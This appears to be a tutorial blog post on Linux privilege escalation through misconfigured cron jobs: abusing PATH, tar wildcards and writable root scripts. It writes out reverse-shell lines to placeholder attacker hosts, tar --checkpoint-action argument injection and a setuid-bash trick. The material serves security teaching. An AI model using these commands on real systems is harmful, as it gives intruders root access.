Linux PrivEsc(2) — Scheduled Tasks (cron)
This is the second of the Linux PrivEsc Series. You can read the first of it here:Linux Kernel Exploits.
One of the most important vectors of privilege Escalation on Linux is by exploiting Misconfigured scheduled tasks also known as Cron jobs. Here, I’ll demonstrate how to escalate privileges through
• cron paths
• cron wildcards
• cron file overwrites
Cron jobs
Linux implement task scheduling through a utility called cron. In simple terms, Cron is a time-based service that repeatedly executes commands, programs, and scripts according to a schedule.
A cron job is a script or application that has been set up to run continuously using cron. The crontab file is where the cron jobs are kept. You can see the cron jobs that are active on a system with the command:
crontabIf the user you’re logged in as doesn’t have the permission to utilize the crontab command, then you can manually view the cron jobs with the command:
cat /etc/crontabThis will output all active cron jobs and their respective schedules, applications, scripts or commands it has been configured to run.
Understanding the layout of the crontab file and how the schedules are configured is necessary to understand how we can use cron tasks to increase our privileges.
The selected entry in the crontab file demonstrated in the screenshot below means, on the 17th minute of every hour, the specified command is to run, repeatedly. Usually the terminal misarrange the output of the crontab. The 17 is supposed to be right under the m.
• m — minute (0–59) — specifies the minutes a cron job should be run.
• h — hour (0–23) — specifies the hours of the day a cron job should be run.
• dom — Day of the month (1–31): used to specifiy specific day of the month a cron job should run.
• mon — month (1–12): specifies the month the cron job should be run.
• dow — Day of the week (0–7): specifies the day of the week the cron should be run.
The fields with asterisk (*) as value means the cron job should run on all of the hours, days, months, days of the week.
Enumerating cron jobs
Before we get into the actual escalations, it’s key for an attacker to be able to enumerate the cron jobs running on the target machine. Easiest way to do this is to use the crontab command. But like I said earlier, at times this command is limited to the administrator only. Hence, below is a list of alternative ways you can enumerate the cron jobs running on the system.
• crontab -l
• ls -alh /var/spool/cron;
• ls -al /etc | grep cron
• ls -al /etc/cron*
• cat /etc/cron*
• cat /etc/at.allow
• cat /etc/at.deny
• cat /etc/cron.allow
• cat /etc/cron.deny*Accessing the files and directories listed here should yield information regarding the active cron jobs on the system.
Enumerating with scripts
Here, I’m going to demonstrate how to enumerate cron jobs with scripts such as Linux Privilege Escalation Awesome Script (LinPEAS). You can download LinPEAS script from here.
Serve the script on the attacker machine with a python web server
python -m SimpleHTTPServer
On the target machine, move to the /tmp directory as we have Read & Write permissions there and download the served script with the wget utility.
wget http://<ATTACKER-IP>:8000/linpeas.sh
Now add executable permissions to the script to make executable. Use command:
chmod +x linpeas.shor
chmod 775 linpeas.shLaunch the script to enumerate various Privilege Escalation vectors. From the output, the script enumerated the various scripts running as well as the $PATH variable:
Now that we have been able to enumerate the various cron jobs running on the target system, we can begin the privilege escalation process.
Escalation via Cron path
This technique involves identifying the default $PATH variable that’s been configured for cron jobs in the crontab file. We will generate a payload and place it in this path.
The $PATH is used to set the default path where the cron jobs would run from. Unless specified otherwise.
In our case, the cron jobs $PATH has been set to the user’s home directory. Meaning the default path for cron jobs to run will be the user’s home directory.
This can be viewed as a misconfiguration as this gives the user rights to access scripts used by the cron jobs. By finding cron jobs that utilize binaries or scripts on the user’s home, we can now take advantage of this.
Upon reviewing the crontab, we can see a script overwrite.sh that runs as the root user and has been configured to run every 1 minute, every hour everyday, every month.
Since we know the default PATH for con jobs is the user’s home, let’s take a look there to see if we’ll see this overwrite.sh script.
Seem the script doesn’t exist. The root user hasn’t created it yet. Since the PATH is the user’s home directory, and we are the user, why don’t we go ahead and create the script? we have permission anyway. In the script, we’ll paste a payload that will provide us with a reverse root shell since the cron will execute as the root user.
Create the script with the payload with command:
echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" > overwrite.sh
Don’t forget to give the newly created script executable permissions
Then we start our listener on the Attacker machine waiting for the cron job to be triggered so it sends a reverse shell to us. (The PORT should correspond with the one you specified in the script payload)
nc -lnvp <PORT>
Wait for a minute and you should catch a root shell in your listener.
We’ve successfully elevated our privileges through a misconfiguration in the $PATH variable.
Escalation via cron wildcards
This technique involves leveraging cron jobs that run scripts or commands that have wildcards in them. Wildcards(*) are used to perform more than one action at a time. This technique will depend on whether or not wildcards have been utilized in the script/command.
Follow these steps:
1. Let’s try to identify the cron jobs that run scripts with wildcards in them. As specified above, view the crontab by command:
cat /etc/crontab
From Escalation via cron path tutorial above, we already know the content of the overwrite.sh script. What we don’t know is the contents of compress.sh script. Now let’s take a look at that.
2. Displaying the contents of compress.sh script with command:
cat /usr/local/bin/compress.sh
From what I’m seeing, what the script seems to do is,
cd /home/user — it changes into the user’s home directory,
tar czf /tmp/backup.tar.gz * — and it compresses all(*) files there and stores them as backup.tar.gz in the /tmp directory using the tar utility.
However, you notice the wildcard(*) after the tar command? It means the command applies to all files in the user home directory.
3. Goodnews though. The tar utility has a feature called checkpoint that shows progress messages when a set of files have been Read from or Written to an archive at a moment in time. Checkpoint allows to execute arbitrary commands. We can leverage this feature to execute a reverse shell payload which will return us a an elevated shell.
4. First of all, let’s create a reverse shell script that will send us a root shell. Don’t forget to make this script executable upon creation with chmod +x shell.sh. Create the script using the command:
echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" > shell.sh
5. Now start your netcat listener to listen on the port you specified in the reverse shell script.
nc -lnvp <PORT>
6. Now set up checkpoint in the user home directory with command:
touch /home/user/--checkpoint=17. Now let’s set the checkpoint action. Here, our checkpoint action would be to execute the reverse shell script.
touch /home/user/--checkpoint-action=exec=sh\ shell.sh8. After setting up tar checkpoint and action, we wait for a few minutes for the reverse shell to be invoked after which we will receive a reverse shell in out netcat listener.
With that, we have successfully elevated our privilege through improper utilization of wildcards.
*********************SECOND METHOD************************
We can make root set SUID (specical permissions) on the bash binary so that normal users can invoke it and become root.
First we check the owner of the /bin/bash binary and it says it’s owned by root. And there are no special permissions on it.
The root account running a command such as chmod +s /bin/bash would add special permissions to the bash binary where standard users can use it but with root privileges.
So since the cron executes as root, why don’t we create a script with this command which will add special permissions to the bash binary.
printf "#!/bin bash\nchmod +s /bin/bash" > shell.sh
With the script created, we do the whole checkpoint thingy for it
touch /home/user/--checkpoint=1and the second:
touch /home/user/--checkpoint-action=exec=sh\ shell.shNow wait for a minute for the cron to run, after that we check the permissions of the /bin/bash binary to see if special permissions have been added.
And there we have it, SUID added (denoted by the s added to the permissions). Though owned by root, a low privileged user can use it but with the owner’s(root) permissions.
As it stands we are already in the terminal using bash, but with the current user’s permissions not roots. So to spawn a new root bash shell on top of our current low privileged shell, use command:
/bin/bash -p
The -p tells the terminal to execute a binary but with permissions of the owner(in our case root). And we got a root shell without having to set up listeners and the like.
Escalation via cron file overwrites
Another privilege escalation technique we can leverage is overwriting the content of scripts that are used by cron jobs. The success of this technique is dependent on the permissions to write to the file or script being ran by the cron job.
This technique can be done by following the following techniques:
1. The first step is to locate a cron job that runs a script as the root user and has read and write access. In this instance, when we display the crontab file’s contents, we can recognize overwrite.sh
We examined how to exploit this specific cron job in Escalation via cron path, where we took advantage of a misconfigured path to generate a custom overwrite.sh script that, when run, gave us a reverse shell. This was due to the fact that the user home directory was listed in the $PATH as the default path for a cron job, thus if the script wasn’t found there, it proceeded to scan the other directories in the $PATH variable.
I deleted the overwrite.sh I created during Escalation via cron path, now we are assuming the overwrite.sh doesn’t exist in the home directory.
2. We did not find the overwrite.sh in the user’s home directory. Hence, we can search the other directories specified in the $PATH to find the script. Use locate command:
locate overwrite.sh
We can see it’s located in the /usr/local/bin directory. Let’s move into that.
3. Next step is to check permissions of overwrite.sh to see if we have read and write permissions on it. Use command:
ls -l overwrite.sh
From the screenshot above, we can determine we have Read and Write permissions. Meaning we can make changes to the content of the script.
4. Let’s add a bash command that’ll provide us with a reverse shell. This can be done with command:
echo "bash -i >& /dev/tcp/<KALI-IP>/<PORT> 0>&1" >> /usr/local/bin/overwrite.shWe are using >> instead of > because we want to append to the content of the script and not to overwrite the existing one. This will place our command to the bottom of the script.
5. Now start your netcat listener and wait for the overwrite.sh to be invoked by the cron job.
6. You should receive an elevated shell in your netcat listener after a minute or two.
And we have successfully elevated our privileges through cron jobs that run scripts with misconfigured permissions to execute a reverse shell payload as root user.
In this post, we looked at the cron utility’s functionality as well as the crontab file’s organization. Then, we looked closely at how to attack improperly setup cron pathways. In order to increase our privileges, we also looked at the technique of exploiting wildcards in cron job-executed scripts. We looked into cron file overwrites as a way to elevate our privileges as our final step.
I got most of the knowledge from this post by purchasing and reading Hackersploit’s Privilege Escalation Techniques book. You can purchase it from his website or by clicking here. If you have any questions you can DM me on Twitter @tinopreter.
